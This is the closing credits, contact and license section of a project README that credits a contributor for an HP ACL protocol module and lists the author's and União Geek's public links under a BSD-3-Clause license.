Catalin Patulea (@cpatulea)	Original HP ACL protocol module (PR #3); hardened in-tree as src/modules/acl.py

See also CONTRIBUTORS.md.

Contact

Support / general inquiries: security.research@uniaogeek.com.br Security issues: SECURITY.md

---

André Henrique

GitHub	@mrhenrike
X / Twitter	@mrhenrike
LinkedIn	mrhenrike

União Geek

Website	uniaogeek.com.br
Blog	uniaogeek.com.br/blog
GitHub	Uniao-Geek
Instagram	@uniaogeek

---

License: BSD-3-Clause License - Copyright (c) 2026 União Geek Created by: André Henrique (@mrhenrike) | União Geek

Leia em Português - Command coverage - Wiki